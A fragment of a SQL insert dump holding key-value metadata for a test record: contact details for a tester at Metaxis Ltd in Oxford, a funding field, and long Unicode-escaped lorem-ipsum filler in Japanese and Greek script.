\\u5bae\\u6c5f\\u70b9\\u9020\\u5317\\u6c17\\u4ee3\\u4e00\\u8b1b\\u53d6\\u6c42\\u7fcc\\u80b2\\u4e16\\u7e55\\u89b3\\u3002\\u56fd\\u80fd\\u7403\\u5909\\u8853\\u9001\\u4eba\\u6b53\\u5929\\u76e3\\u554f\\u6e08\\u52d5\\u5e73\\u521d\\u82b8\\u3002\\u9818\\u98db\\u4e0b\\u6642\\u79cb\\u5728\\u4e07\\u65b0\\u80fd\\u9806\\u9577\\u8ca0\\u63a5\\u6e2f\\u8fd1\\u3002\\u6cbb\\u91cf\\u5a5a\\u958b\\u65c5\\u672c\\u8457\\u8f09\\u58eb\\u9632\\u91ce\\u68a8\\u7814\\u6c17\\u985e\\u4e2d\\u3002\\u4fdd\\u5831\\u5897\\u7d04\\u6708\\u6b8a\\u4f1a\\u653f\\u8ac7\\u611b\\u6cbb\\u8005\\u53f7\\u9752\\u6848\\u9b45\\u7701\\u56fd\\u3002\\u5354\\u518d\\u8f09\\u88c1\\u5199\\u91ce\\u7c4d\\u7881\\u5584\\u66ae\\u610f\\u8a00\\u967a\\u8ddd\\u8cbb\\u6559\\u4e0a\\u683c\\u65e9\\u5fdc\\u3002\\u58f0\\u63d0\\u6771\\u8996\\u5e16\\u62d8\\u604b\\u58f2\\u610f\\u6574\\u6b69\\u4eca\\u8fbc\\u8996\\u7a0e\\u56fa\\u9078\\u8ca0\\u6587\\u3002\\u51fa\\u5168\\u99ac\\u6790\\u9023\\u6226\\u8981\\u6765\\u611b\\u5de6\\u5e02\\u5c71\\u82b8\\u3002\\u5247\\u5fc3\\u7565\\u4f53\\u7d19\\u5c0f\\u7b56\\u610f\\u70c8\\u6307\\u6355\\u7d20\\u5bfe\\u8aac\\u8f2a\\u3002 \\u8ffd\\u6b21\\u8f09\\u5348\\u78ba\\u8a55\\u5199\\u5c5e\\u5f66\\u5e74\\u5fc5\\u6bb5\\u696d\\u521d\\u8272\\u8089\\u5ea7\\u3002\\u6d77\\u968e\\u904a\\u897f\\u50b7\\u88cf\\u72b6\\u6771\\u793a\\u672b\\u8ee2\\u81ea\\u4f9b\\u8b70\\u5e83\\u6a29\\u7fd2\\u6589\\u3002\\u904e\\u7279\\u7167\\u68cb\\u5b50\\u8d85\\u7a2e\\u8a08\\u5f93\\u4e3b\\u5207\\u5e73\\u753b\\u9700\\u5168\\u6708\\u53e4\\u95a2\\u5bb3\\u7fbd\\u3002\\u805e\\u805e\\u4f01\\u6838\\u4e00\\u7b2c\\u56f3\\u706b\\u6cc1\\u8868\\u8c4a\\u6628\\u901f\\u7d04\\u65b9\\u9593\\u88ab\\u793e\\u5206\\u3002\\u5d0e\\u5973\\u533b\\u6771\\u793c\\u578b\\u5343\\u5e73\\u7121\\u7a0b\\u5c5e\\u5fc5\\u5343\\u4e0d\\u5b89\\u8457\\u884c\\u56f2\\u3002\\u554f\\u9aa8\\u5e73\\u8f09\\u63a2\\u7530\\u6c34\\u5c31\\u7bc0\\u938c\\u5b66\\u6e08\\u8987\\u6cbb\\u8cea\\u96ea\\u8005\\u4f4d\\u516c\\u6ce2\\u3002\\u5e83\\u4e07\\u672c\\u5099\\u5199\\u4e0b\\u7981\\u8fbc\\u5c71\\u4e0a\\u6f64\\u65e5\\u9580\\u3002\\u63d0\\u805e\\u6295\\u618e\\u4e09\\u5ea6\\u5c0f\\u6838\\u5206\\u751f\\u544a\\u975e\\u7531\\u624b\\u4e3b\\u5199\\u4e4f\\u8ee2\\u8f9e\\u3002\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8706,230,'contact_name','\"Michael (Update) Griffiths\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8707,230,'contact_role','\"Tester\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8708,230,'contact_email','\"mike@metaxis.com\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8709,230,'study_centre','[{\"name\":\"Metaxis Ltd\",\"city\":\"Oxford\",\"country\":\"GB\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8710,230,'financial_support','[\"other\"]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8711,230,'other_financial_support','\"Greek : \\u039b\\u03bf\\u03c1\\u03b5\\u03bc \\u03b9\\u03c0\\u03c3\\u03b8\\u03bc \\u03b4\\u03bf\\u03bb\\u03bf\\u03c1 \\u03c3\\u03b9\\u03c4 \\u03b1\\u03bc\\u03b5\\u03c4, \\u03c0\\u03c1\\u03b9 \\u03bd\\u03bf \\u03b1\\u03b8\\u03c4\\u03b5\\u03bc \\u03b9\\u03bd\\u03c3\\u03c4\\u03c1\\u03b8c\\u03c4\\u03b9\\u03bf\\u03c1, \\u03b5\\u03be \\u03c9\\u03b9\\u03c3\\u03b9 \\u03b2\\u03c1\\u03b8\\u03c4\\u03b5 \\u03b3\\u03c1\\u03b1\\u03b5c\\u03bf q\\u03b8\\u03bf. \\u039d\\u03bf \\u03b9\\u03bd\\u03b1\\u03bd\\u03b9 q\\u03b8\\u03b1\\u03b5\\u03c1\\u03b5\\u03bd\\u03b4\\u03b8\\u03bc c\\u03bf\\u03bd\\u03c3\\u03b5q\\u03b8\\u03b8\\u03bd\\u03c4\\u03b8\\u03c1 q\\u03b8\\u03b9, \\u03bd\\u03bf c\\u03b8\\u03bc \\u03bb\\u03b5\\u03b3\\u03b5\\u03bd\\u03b4\\u03bf\\u03c3 c\\u03bf\\u03bdv\\u03b5\\u03bd\\u03b9\\u03c1\\u03b5, v\\u03b5\\u03bd\\u03b9\\u03b1\\u03bc \\u03b4\\u03b9c\\u03c4\\u03b1\\u03c3 \\u03bc\\u03b5\\u03bd\\u03b1\\u03bd\\u03b4\\u03c1\\u03b9 \\u03b8\\u03c4 \\u03bd\\u03b5c. \\u039c\\u03b8c\\u03b9\\u03b8\\u03c3 \\u03bc\\u03b9\\u03bd\\u03b9\\u03bc\\u03b8\\u03bc \\u03c4\\u03b5 c\\u03b8\\u03bc, \\u03b4\\u03b9\\u03b1\\u03bc \\u03b5\\u03c3\\u03c3\\u03b5 \\u03c0\\u03b5\\u03c1 \\u03b9\\u03bd. \\u03a0\\u03b5\\u03c1 \\u03b9\\u03b4 \\u03b4\\u03b9c\\u03c4\\u03b1 \\u03b1\\u03c3\\u03c3\\u03b5\\u03bd\\u03c4\\u03b9\\u03bf\\u03c1 \\u03b5\\u03be\\u03c0\\u03b5\\u03c4\\u03b5\\u03bd\\u03b4\\u03b9\\u03c3. \\u0395\\u03c3\\u03c4 \\u03b1\\u03c4 \\u03c4\\u03bf\\u03bb\\u03bb\\u03b9\\u03c4 \\u03c6\\u03b1c\\u03b9\\u03bb\\u03b9\\u03c3\\u03b9 \\u03c3\\u03b1\\u03bb\\u03b8\\u03c4\\u03b1\\u03c4\\u03b8\\u03c3, q\\u03b8\\u03b1\\u03bd\\u03b4\\u03bf \\u03c0\\u03c1\\u03bf\\u03b2\\u03b1\\u03c4\\u03b8\\u03c3 \\u03c0\\u03b5\\u03c1\\u03c6\\u03b5c\\u03c4\\u03bf \\u03b5\\u03b9 \\u03b8\\u03c3\\u03b8. \\u0391\\u03c4 c\\u03b5\\u03c4\\u03b5\\u03c1\\u03bf\\u03c3 \\u03c1\\u03b5\\u03c0\\u03c1\\u03b9\\u03bc\\u03b9q\\u03b8\\u03b5 \\u03b7\\u03b1\\u03c3, \\u03c3\\u03bf\\u03bb\\u03b5\\u03c4 \\u03b4\\u03b5\\u03c4\\u03c1\\u03b1c\\u03c4\\u03bf c\\u03b8 q\\u03b8\\u03bf. \\u0395\\u03b9 \\u03c3\\u03b8\\u03bc\\u03bf \\u03bd\\u03bf\\u03c3\\u03c4\\u03b5\\u03c1 \\u03bf\\u03bc\\u03bd\\u03b5\\u03c3q\\u03b8\\u03b5 \\u03bc\\u03b5\\u03b9, \\u03bd\\u03b5 \\u03b1\\u03bdc\\u03b9\\u03bb\\u03bb\\u03b1\\u03b5 \\u03c3c\\u03b1\\u03b5v\\u03bf\\u03bb\\u03b1 \\u03bd\\u03b5c\\u03b5\\u03c3\\u03c3\\u03b9\\u03c4\\u03b1\\u03c4\\u03b9\\u03b2\\u03b8\\u03c3 c\\u03b8\\u03bc. \\u03a0\\u03b1\\u03c1\\u03c4\\u03b9\\u03b5\\u03bd\\u03b4\\u03bf \\u03c3\\u03b1\\u03bb\\u03b8\\u03c4\\u03b1\\u03bd\\u03b4\\u03b9 q\\u03b8\\u03b9 \\u03b5\\u03be. \\u0399\\u03b4 \\u03c4\\u03b5\\u03bc\\u03c0\\u03bf\\u03c1 \\u03c0\\u03bb\\u03b1\\u03c4\\u03bf\\u03bd\\u03b5\\u03bc \\u03bc\\u03b1\\u03b9\\u03b5\\u03c3\\u03c4\\u03b1\\u03c4\\u03b9\\u03c3 q\\u03b8\\u03b9, \\u03b8\\u03c4 \\u03b5\\u03c4\\u03b9\\u03b1\\u03bc \\u03b1cc\\u03b8\\u03bc\\u03c3\\u03b1\\u03bd \\u03c0\\u03b5\\u03c1\\u03c4\\u03b9\\u03bd\\u03b1c\\u03b9\\u03b1 v\\u03b9\\u03bc. \\u0395\\u03c4 \\u03b8\\u03c3\\u03b8 \\u03c3\\u03b5\\u03bd\\u03c3\\u03b5\\u03c1\\u03b9\\u03c4 \\u03b1\\u03b2\\u03b7\\u03bf\\u03c1\\u03c1\\u03b5\\u03b1\\u03bd\\u03c4 \\u03b4\\u03b5\\u03c6\\u03b9\\u03bd\\u03b9\\u03c4\\u03b9\\u03bf\\u03bd\\u03b5\\u03c3, c\\u03b8 \\u03b5\\u03b8\\u03bc \\u03b5\\u03b8\\u03b9\\u03c3\\u03bc\\u03bf\\u03b4 \\u03b4\\u03b5\\u03c4\\u03c1\\u03b1\\u03be\\u03b9\\u03c4 \\u03b9\\u03bc\\u03c0\\u03b5\\u03c1\\u03b4\\u03b9\\u03b5\\u03c4. \\u0399\\u03bd \\u03c3\\u03b5\\u03b4 \\u03c6\\u03b8\\u03b3\\u03b9\\u03c4 \\u03c4\\u03c1\\u03b9\\u03c4\\u03b1\\u03bd\\u03b9 \\u03bb\\u03b5\\u03b3\\u03b5\\u03bd\\u03b4\\u03bf\\u03c3, \\u03bd\\u03b8\\u03bb\\u03bb\\u03b1 c\\u03b5\\u03c4\\u03b5\\u03c1\\u03bf\\u03c3 \\u03c1\\u03b5\\u03c0\\u03c1\\u03b9\\u03bc\\u03b9q\\u03b8\\u03b5 \\u03b5\\u03b9 \\u03bc\\u03b5\\u03bb, \\u03c3\\u03bf\\u03bb\\u03b8\\u03bc \\u03c3\\u03b1\\u03bdc\\u03c4\\u03b8\\u03c3 \\u03bc\\u03b5\\u03bb \\u03b5\\u03c4. \\u03a0\\u03bf\\u03c3\\u03c4\\u03b5\\u03b1 \\u03b4\\u03b5\\u03bb\\u03b5c\\u03c4\\u03b8\\u03c3 \\u03b4\\u03b5\\u03bb\\u03b9c\\u03b1\\u03c4\\u03b9\\u03c3\\u03c3\\u03b9\\u03bc\\u03b9 \\u03bc\\u03b5\\u03b9 \\u03b1\\u03c4, \\u03b5\\u03c4 v\\u03b9\\u03be v\\u03bfc\\u03b9\\u03b2\\u03b8\\u03c3 \\u03b1\\u03c0\\u03c0\\u03b1\\u03c1\\u03b5\\u03b1\\u03c4 \\u03c0\\u03bf\\u03bd\\u03b4\\u03b5\\u03c1\\u03b8\\u03bc. \\u03a0\\u03c1\\u03bf \\u03b9\\u03b4 \\u03c4\\u03b1\\u03bd\\u03c4\\u03b1\\u03c3 c\\u03b5\\u03c4\\u03b5\\u03c1\\u03bf \\u03b4\\u03b5\\u03bb\\u03b9c\\u03b1\\u03c4\\u03b9\\u03c3\\u03c3\\u03b9\\u03bc\\u03b9, v\\u03b5\\u03bb \\u03c3\\u03bf\\u03bb\\u03b5\\u03b1\\u03c4 \\u03b5\\u03be\\u03c0\\u03b5\\u03c4\\u03b5\\u03bd\\u03b4\\u03b1 \\u03b5\\u03b8. \\u039c\\u03b1\\u03b6\\u03b9\\u03bc \\u03b9\\u03bd\\u03c4\\u03b5\\u03bb\\u03bb\\u03b5\\u03b3\\u03b1\\u03c4 \\u03b5\\u03be \\u03c3\\u03b5\\u03b1, c\\u03b8 \\u03bd\\u03b1\\u03bc v\\u03b9\\u03c4\\u03b1\\u03b5 \\u03b1\\u03b4\\u03bf\\u03bb\\u03b5\\u03c3c\\u03b5\\u03bd\\u03c3. \\u0391\\u03b4\\u03b9\\u03c0\\u03b9\\u03c3c\\u03b9 \\u03b8\\u03c1\\u03b2\\u03b1\\u03bd\\u03b9\\u03c4\\u03b1\\u03c3 \\u03b5\\u03c4 \\u03bc\\u03b5\\u03b9, \\u03b5\\u03be \\u03bb\\u03b1\\u03b2\\u03b9\\u03c4\\u03b8\\u03c1 \\u03b1\\u03bb\\u03b2\\u03b8c\\u03b9\\u03b8\\u03c3 \\u03c3\\u03b9\\u03bd\\u03b3\\u03b8\\u03bb\\u03b9\\u03c3 v\\u03b9\\u03c3, \\u03bc\\u03bfv\\u03b5\\u03c4 \\u03b4\\u03bf\\u03bb\\u03bf\\u03c1 \\u03c4\\u03b5 \\u03c0\\u03c1\\u03bf. V\\u03b9\\u03c3 \\u03b5\\u03be \\u03bc\\u03b8\\u03c4\\u03b1\\u03c4 v\\u03b9\\u03c1\\u03b9\\u03c3 \\u03b9\\u03bc\\u03c0\\u03b5\\u03c1\\u03b4\\u03b9\\u03b5\\u03c4. \\u03a4\\u03b5 \\u03bf\\u03c1\\u03b1\\u03c4\\u03b9\\u03bf \\u03c6\\u03b9\\u03b5\\u03c1\\u03b5\\u03bd\\u03c4 \\u03b5\\u03b1\\u03bc. \\u03a4\\u03b5 \\u03b2\\u03bf\\u03bd\\u03bf\\u03c1\\u03b8\\u03bc \\u03b4\\u03b5\\u03c4\\u03c1\\u03b1\\u03be\\u03b9\\u03c4 \\u03b1\\u03b2\\u03b7\\u03bf\\u03c1\\u03c1\\u03b5\\u03b1\\u03bd\\u03c4 \\u03bc\\u03b5\\u03bb, v\\u03b9\\u03bc \\u03c4\\u03b5 \\u03bb\\u03b1\\u03bf\\u03c1\\u03b5\\u03b5\\u03c4 \\u03bc\\u03b1\\u03b9\\u03bf\\u03c1\\u03b8\\u03bc \\u03c0\\u03b5\\u03c1\\u03c0\\u03b5\\u03c4\\u03b8\\u03b1. \\u03a0\\u03b5\\u03c1 \\u03b1\\u03b8\\u03b4\\u03b9\\u03b1\\u03bc \\u03bb\\u03b1\\u03b2\\u03bf\\u03c1\\u03b5\\u03c3 \\u03b5v\\u03b5\\u03c1\\u03c4\\u03b9\\u03c4\\u03b8\\u03c1 \\u03c4\\u03b5, \\u03bc\\u03b5\\u03bd\\u03b1\\u03bd\\u03b4\\u03c1\\u03b9 c\\u03bf\\u03bdv\\u03b5\\u03bd\\u03b9\\u03c1\\u03b5 \\u03c0\\u03b5\\u03c1\\u03c3\\u03b5c\\u03b8\\u03c4\\u03b9 \\u03b5\\u03b9 v\\u03b9\\u03c3. \\u0395\\u03be \\u03c0\\u03b1\\u03c1\\u03c4\\u03b5\\u03bc \\u03b4\\u03b5\\u03bb\\u03b9c\\u03b1\\u03c4\\u03b1 \\u03b7\\u03b9\\u03c3, \\u03b5\\u03b1\\u03bc \\u03b5\\u03b9 \\u03bc\\u03b1\\u03bd\\u03b4\\u03b1\\u03bc\\u03b8\\u03c3 \\u03c1\\u03b5\\u03c6\\u03bf\\u03c1\\u03bc\\u03b9\\u03b4\\u03b1\\u03bd\\u03c3, \\u03b9\\u03b3\\u03bd\\u03bf\\u03c4\\u03b1 \\u03c4\\u03c1\\u03b9\\u03c4\\u03b1\\u03bd\\u03b9 \\u03b5\\u03bb\\u03bfq\\u03b8\\u03b5\\u03bd\\u03c4\\u03b9\\u03b1\\u03bc \\u03bd\\u03b1\\u03bc \\u03b1\\u03b4. \\u0391\\u03c4 \\u03b4\\u03b8\\u03bf \\u03bd\\u03b1\\u03c4\\u03b8\\u03bc \\u03b4\\u03b9\\u03c3c\\u03b5\\u03c1\\u03b5, \\u03b1\\u03b4 \\u03bd\\u03bf\\u03b2\\u03b9\\u03c3 \\u03c3\\u03b9\\u03bd\\u03b3\\u03b8\\u03bb\\u03b9\\u03c3 \\u03bd\\u03b1\\u03bc. Q\\u03b8\\u03bf \\u03b5\\u03b9 \\u03b4\\u03b9c\\u03b1\\u03bc \\u03c4\\u03b1\\u03bcq\\u03b8\\u03b1\\u03bc \\u03b2\\u03bb\\u03b1\\u03bd\\u03b4\\u03b9\\u03c4, \\u03bd\\u03b1\\u03bc \\u03bd\\u03b5 \\u03c0\\u03c1\\u03b9\\u03bc\\u03b1 v\\u03b9\\u03c4\\u03b1\\u03b5 \\u03b1\\u03b4\\u03bc\\u03bf\\u03b4\\u03b8\\u03bc, \\u03b5\\u03b8 \\u03b4\\u03b9c\\u03b9\\u03c4 \\u03b4\\u03bf\\u03bb\\u03bf\\u03c1\\u03b5 c\\u03bf\\u03bc\\u03bc\\u03bf\\u03b4\\u03bf v\\u03b9\\u03bc. \\u0395\\u03b9 \\u03b9\\u03b8\\u03c3 \\u03c4\\u03b5\\u03bc\\u03c0\\u03bf\\u03c1 \\u03bd\\u03bf\\u03bb\\u03b8\\u03b9\\u03c3\\u03c3\\u03b5 \\u03c0\\u03b5\\u03c1\\u03c3\\u03b5c\\u03b8\\u03c4\\u03b9, \\u03bc\\u03b5\\u03b1 \\u03b5\\u03bd\\u03b9\\u03bc q\\u03b8\\u03bf\\u03b4\\u03c3\\u03b9 \\u03b1\\u03b4, \\u03c0\\u03c1\\u03bf \\u03bd\\u03b8\\u03bb\\u03bb\\u03b1\\u03bc \\u03b1\\u03b2\\u03b7\\u03bf\\u03c1\\u03c1\\u03b5\\u03b1\\u03bd\\u03c4 \\u03b9\\u03b4. \\u039c\\u03b5\\u03bb \\u03b5\\u03b9 \\u03c3\\u03bf\\u03bb\\u03b8\\u03c4\\u03b1 \\u03bc\\u03b8c\\u03b9\\u03b8\\u03c3, \\u03bd\\u03bf \\u03c0\\u03c1\\u03bf \\u03c0\\u03b7\\u03b1\\u03b5\\u03b4\\u03c1\\u03b8\\u03bc \\u03b7\\u03b5\\u03bd\\u03b4\\u03c1\\u03b5\\u03c1\\u03b9\\u03c4. \\u0398\\u03c3\\u03b8 \\u03bd\\u03bf \\u03b9\\u03bd\\u03c4\\u03b5\\u03b3\\u03c1\\u03b5 v\\u03bf\\u03bb\\u03b8\\u03c0\\u03c4\\u03b1\\u03c1\\u03b9\\u03b1, \\u03b5\\u03c4 v\\u03b9\\u03b4\\u03b5 \\u03bf\\u03c1\\u03b1\\u03c4\\u03b9\\u03bf \\u03c0\\u03b1\\u03c1\\u03c4\\u03b5\\u03bc \\u03b7\\u03b1\\u03c3, \\u03c4\\u03b5 \\u03bf\\u03c6\\u03c6\\u03b5\\u03bd\\u03b4\\u03b9\\u03c4 \\u03c1\\u03b5c\\u03c4\\u03b5q\\u03b8\\u03b5 \\u03c1\\u03b1\\u03c4\\u03b9\\u03bf\\u03bd\\u03b9\\u03b2\\u03b8\\u03c3 \\u03b5\\u03bf\\u03c3. \\u0394\\u03bf\\u03bb\\u03bf\\u03c1\\u03b8\\u03bc c\\u03b5\\u03c4\\u03b5\\u03c1\\u03bf\\u03c3 \\u03bd\\u03b5 \\u03b5\\u03bf\\u03c3, \\u03b9\\u03b4 v\\u03b5\\u03bb \\u03bd\\u03b9\\u03b2\\u03b7 \\u03bc\\u03b1\\u03b3\\u03bd\\u03b1 \\u03c3\\u03bf\\u03bb\\u03b8\\u03bc. \\u0395\\u03b8 \\u03b4\\u03b5\\u03bb\\u03b5\\u03bd\\u03b9\\u03c4 \\u03b5\\u03bb\\u03b5c\\u03c4\\u03c1\\u03b1\\u03bc \\u03b5\\u03b1\\u03bc, \\u03bd\\u03b5c \\u03c9\\u03b9\\u03c3\\u03b9 \\u03b1\\u03b4\\u03b7\\u03b8c \\u03bb\\u03b1\\u03b2\\u03bf\\u03c1\\u03b5 \\u03bd\\u03bf, \\u03b9\\u03bd \\u03bd\\u03b9\\u03c3\\u03bb \\u03c4\\u03b9\\u03bdc\\u03b9\\u03b4\\u03b8\\u03bd\\u03c4 \\u03c3\\u03b9\\u03c4. \\u0395\\u03b9\\u03c1\\u03bc\\u03bf\\u03b4 \\u03bf\\u03bc\\u03bd\\u03b5\\u03c3q\\u03b8\\u03b5 \\u03c0\\u03b1\\u03c1\\u03c4\\u03b9\\u03b5\\u03bd\\u03b4\\u03bf \\u03b5\\u03b9 \\u03c0\\u03b5\\u03c1, \\u03c0\\u03b1\\u03b8\\u03bb\\u03bf \\u03bf\\u03c0\\u03c4\\u03b9\\u03bf\\u03bd \\u03bc\\u03bd\\u03b5\\u03c3\\u03b1\\u03c1c\\u03b7\\u03b8\\u03bc \\u03b7\\u03b9\\u03c3 \\u03b1\\u03b4. \\u0398\\u03c4 \\u03bb\\u03b1\\u03c4\\u03b9\\u03bd\\u03b5 \\u03b1\\u03bb\\u03b9q\\u03b8\\u03b9\\u03b4 \\u03bd\\u03bf\\u03bc\\u03b9\\u03bd\\u03b1v\\u03b9 \\u03b7\\u03b1\\u03c3, \\u03b9\\u03b4 \\u03c3\\u03b5\\u03b1 q\\u03b8\\u03b1\\u03c3 \\u03b5\\u03c1\\u03c1\\u03bf\\u03c1 c\\u03b1\\u03b8\\u03c3\\u03b1\\u03b5. \\u0399\\u03b4 \\u03c0\\u03b5\\u03c1 \\u03b5\\u03be\\u03c0\\u03b5\\u03c4\\u03b5\\u03bd\\u03b4\\u03b1 \\u03c3\\u03b1\\u03bb\\u03b8\\u03c4\\u03b1\\u03c4\\u03b8\\u03c3 \\u03c4\\u03b7\\u03b5\\u03bf\\u03c0\\u03b7\\u03c1\\u03b1\\u03c3\\u03c4\\u03b8\\u03c3, q\\u03b8\\u03b1\\u03c3 \\u03bd\\u03bf\\u03c3\\u03c4\\u03c1\\u03b8\\u03b4 \\u03c1\\u03b5\\u03c6\\u03bf\\u03c1\\u03bc\\u03b9\\u03b4\\u03b1\\u03bd\\u03c3 \\u03bc\\u03b5\\u03b9 \\u03b5\\u03b9. \\u039d\\u03bf c\\u03bf\\u03c1\\u03c0\\u03bf\\u03c1\\u03b1 \\u03c6\\u03bf\\u03c1\\u03b5\\u03bd\\u03c3\\u03b9\\u03b2\\u03b8\\u03c3 \\u03c1\\u03b5\\u03c6\\u03bf\\u03c1\\u03bc\\u03b9\\u03b4\\u03b1\\u03bd\\u03c3 \\u03c0\\u03c1\\u03bf. \\u039c\\u03b5\\u03bb \\u03b1\\u03b5\\u03c4\\u03b5\\u03c1\\u03bd\\u03bf \\u03c3c\\u03b1\\u03b5v\\u03bf\\u03bb\\u03b1 \\u03b9\\u03bd, \\u03b9\\u03bb\\u03bb\\u03b8\\u03bc \\u03c4\\u03b1\\u03c4\\u03b9\\u03bf\\u03bd v\\u03b9\\u03c3 \\u03b5\\u03b9. \\u0399\\u03b4q\\u03b8\\u03b5 \\u03b1\\u03b5q\\u03b8\\u03b5 c\\u03b8 v\\u03b5\\u03bb, \\u03bd\\u03b5 \\u03bd\\u03b5c \\u03b9\\u03bd\\u03b4\\u03bfc\\u03c4\\u03b8\\u03bc \\u03c3c\\u03c1\\u03b9\\u03c0\\u03c3\\u03b5\\u03c1\\u03b9\\u03c4, v\\u03b5\\u03bb \\u03b9\\u03bd v\\u03bf\\u03bb\\u03b8\\u03c0\\u03c4\\u03b8\\u03b1 \\u03bd\\u03b5c\\u03b5\\u03c3\\u03c3\\u03b9\\u03c4\\u03b1\\u03c4\\u03b9\\u03b2\\u03b8\\u03c3. \\u039d\\u03bf \\u03b9\\u03b8\\u03c3 \\u03b4\\u03b5\\u03b2\\u03b5\\u03c4 c\\u03bf\\u03bdv\\u03b5\\u03bd\\u03b9\\u03c1\\u03b5, \\u03b5\\u03be \\u03bc\\u03b8\\u03c4\\u03b1\\u03c4 \\u03bf\\u03b2\\u03bb\\u03b9q\\u03b8\\u03b5 \\u03b7\\u03b9\\u03c3. \\u03a3\\u03b9\\u03c4 \\u03b5\\u03b1 \\u03c9\\u03b9\\u03c3\\u03b9 \\u03c1\\u03b5\\u03c0\\u03c1\\u03b5\\u03b7\\u03b5\\u03bd\\u03b4\\u03b8\\u03bd\\u03c4, \\u03c9\\u03b9\\u03c3\\u03b9 \\u03b1\\u03bb\\u03b9\\u03b5\\u03bd\\u03b8\\u03bc c\\u03bf\\u03bd\\u03c3\\u03b5q\\u03b8\\u03b1\\u03c4 \\u03b5\\u03be v\\u03b9\\u03c3, \\u03b9\\u03b8\\u03c3 \\u03b9\\u03b4 \\u03b9\\u03bd\\u03c4\\u03b5\\u03bb\\u03bb\\u03b5\\u03b3\\u03b1\\u03c4 \\u03b9\\u03bd\\u03c3\\u03c4\\u03c1\\u03b8c\\u03c4\\u03b9\\u03bf\\u03c1. \\u0391\\u03b4 \\u03bb\\u03b8\\u03b4\\u03b8\\u03c3 \\u03c4\\u03b1\\u03c4\\u03b9\\u03bf\\u03bd \\u03bf\\u03bc\\u03b9\\u03c4\\u03c4\\u03b1\\u03bd\\u03c4\\u03b8\\u03c1 \\u03c0\\u03b5\\u03c1, \\u03c4\\u03c1\\u03b9\\u03c4\\u03b1\\u03bd\\u03b9 c\\u03b9v\\u03b9\\u03b2\\u03b8\\u03c3 \\u03b8\\u03c3\\u03b8 \\u03b1\\u03b4. V\\u03b5\\u03c1\\u03b9\\u03c4\\u03b8\\u03c3 \\u03b1cc\\u03bf\\u03bc\\u03bc\\u03bf\\u03b4\\u03b1\\u03c1\\u03b5 \\u03c3\\u03b5\\u03b1 \\u03b1\\u03b4, \\u03bd\\u03bfv\\u03b8\\u03bc \\u03bf\\u03bc\\u03b9\\u03c4\\u03c4\\u03b1\\u03bc \\u03b4\\u03b9\\u03c3\\u03c0\\u03b8\\u03c4\\u03b1\\u03c4\\u03b9\\u03bf\\u03bd\\u03b9 \\u03b5\\u03b1 v\\u03b9\\u03c3. \\u03a3\\u03b8\\u03bc\\u03bc\\u03bf \\u03c4\\u03b1c\\u03b9\\u03bc\\u03b1\\u03c4\\u03b5\\u03c3 \\u03b1\\u03bd\\u03c4\\u03b9\\u03bf\\u03c0\\u03b1\\u03bc \\u03b1\\u03b4 \\u03bc\\u03b5\\u03b1, c\\u03b8 \\u03b9\\u03b4q\\u03b8\\u03b5 \\u03bf\\u03bc\\u03bd\\u03b5\\u03c3 \\u03c3\\u03b9\\u03bd\\u03b3\\u03b8\\u03bb\\u03b9\\u03c3 \\u03b8\\u03c3\\u03b8, \\u03b4\\u03b9c\\u03bf \\u03c0\\u03bf\\u03c3\\u03c3\\u03b9\\u03c4 \\u03b4\\u03b8\\u03bf \\u03b5\\u03c4. C\\u03b8\\u03bc \\u03bc\\u03b8c\\u03b9\\u03b8\\u03c3 \\u03c0\\u03b5\\u03c1\\u03c3\\u03b9\\u03b8\\u03c3 c\\u03bf\\u03bd\\u03c3\\u03b5q\\u03b8\\u03b1\\u03c4 \\u03b9\\u03bd, \\u03bf\\u03bc\\u03bd\\u03b9\\u03b8\\u03bc \\u03b1\\u03c4\\u03bf\\u03bc\\u03bf\\u03c1\\u03b8\\u03bc c\\u03bf\\u03c1\\u03c1\\u03b8\\u03bc\\u03c0\\u03b9\\u03c4 \\u03c3\\u03b5\\u03b1 \\u03b5\\u03be, \\u03b5\\u03bd\\u03b9\\u03bc \\u03bc\\u03b1\\u03b9\\u03bf\\u03c1\\u03b8\\u03bc v\\u03b9\\u03be \\u03b5\\u03c4. \\u0391\\u03c4 \\u03c3\\u03b5\\u03b4 \\u03bfc\\u03b8\\u03c1\\u03c1\\u03b5\\u03c1\\u03b5\\u03c4 \\u03b4\\u03b5\\u03c6\\u03b9\\u03bd\\u03b9\\u03b5\\u03b2\\u03b1\\u03c3. \\u0399\\u03b4 \\u03b5\\u03bf\\u03c3 \\u03b1\\u03c0\\u03b5\\u03c1\\u03b9\\u03b1\\u03bc \\u03b9\\u03bd\\u03c4\\u03b5\\u03b3\\u03c1\\u03b5. \\u0397\\u03b9\\u03c3 \\u03b1\\u03b4 \\u03b1\\u03c0\\u03c0\\u03b5\\u03c4\\u03b5\\u03c1\\u03b5 \\u03b1\\u03bb\\u03b9q\\u03b8\\u03b1\\u03bd\\u03b4\\u03bf v\\u03b9\\u03c4\\u03b8\\u03c0\\u03b5\\u03c1\\u03b1\\u03c4\\u03bf\\u03c1\\u03b9\\u03b2\\u03b8\\u03c3. \\u0391\\u03c4 \\u03bc\\u03b8\\u03bd\\u03b4\\u03b9 \\u03c3\\u03b1\\u03bdc\\u03c4\\u03b8\\u03c3 v\\u03bf\\u03bb\\u03b8\\u03bc\\u03b8\\u03c3 v\\u03b9\\u03c3. V\\u03b9\\u03c3 \\u03c4\\u03b5 \\u03b1\\u03bb\\u03c4\\u03b5\\u03c1\\u03b1 \\u03c3\\u03b5\\u03bd\\u03c3\\u03b5\\u03c1\\u03b9\\u03c4, \\u03b1\\u03b4\\u03b7\\u03b8c \\u03b9\\u03b4q\\u03b8\\u03b5 \\u03c6\\u03b8\\u03b3\\u03b9\\u03c4 \\u03b1\\u03bd \\u03b5\\u03b8\\u03bc, \\u03bc\\u03b5\\u03b9 \\u03b1\\u03bd \\u03b9\\u03b4q\\u03b8\\u03b5 \\u03b1\\u03bb\\u03b9q\\u03b8\\u03b9\\u03b4. \\u0391cc\\u03b8\\u03c3\\u03b1\\u03c4\\u03b1 \\u03b1\\u03c3\\u03c3\\u03b8\\u03b5v\\u03b5\\u03c1\\u03b9\\u03c4 \\u03b1\\u03b4v\\u03b5\\u03c1\\u03c3\\u03b1\\u03c1\\u03b9\\u03b8\\u03bc \\u03b1\\u03bd \\u03b7\\u03b1\\u03c3, 